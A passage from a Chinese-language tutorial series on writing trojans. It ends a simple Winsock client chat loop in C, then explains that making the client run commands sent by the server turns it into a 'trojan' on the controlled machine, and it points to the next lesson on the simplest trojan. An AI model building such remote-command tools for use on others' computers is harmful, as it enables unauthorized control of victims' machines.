	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 从服务端获取数据
		recv(sockClient, recvBuf, 100, 0);
		// 打印数据
		printf("-- Server: %sn", recvBuf);
		// 输入提示符
		printf(">>");
		// 接收用户的输入
		scanf("%s", message);
		// 发送数据到服务端
		send(sockClient, message, strlen(message) + 1, 0);
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

测试效果图:

socket_chat

大家可以看到,这样客户端与服务器端就简单的交互了。而这个过程稍微修改一下就可以变成一个客户端与服务端交互的过程,例如让服务端发送一条命令到客户端,然后客户端执行这个命令,并且返回给服务端然后继续等待服务端的下一个命令。这个时候如果客户端程序运行在要控制的计算机上,那么就已经可以说是一个 “木马” 了。

相信看到这里,你的心中大概已经有些思路了,那么建议你停下来好好的把握住脑海中的思路自己尝试一下。

文章索引

下一讲:木马,你好!(二)最简单的木马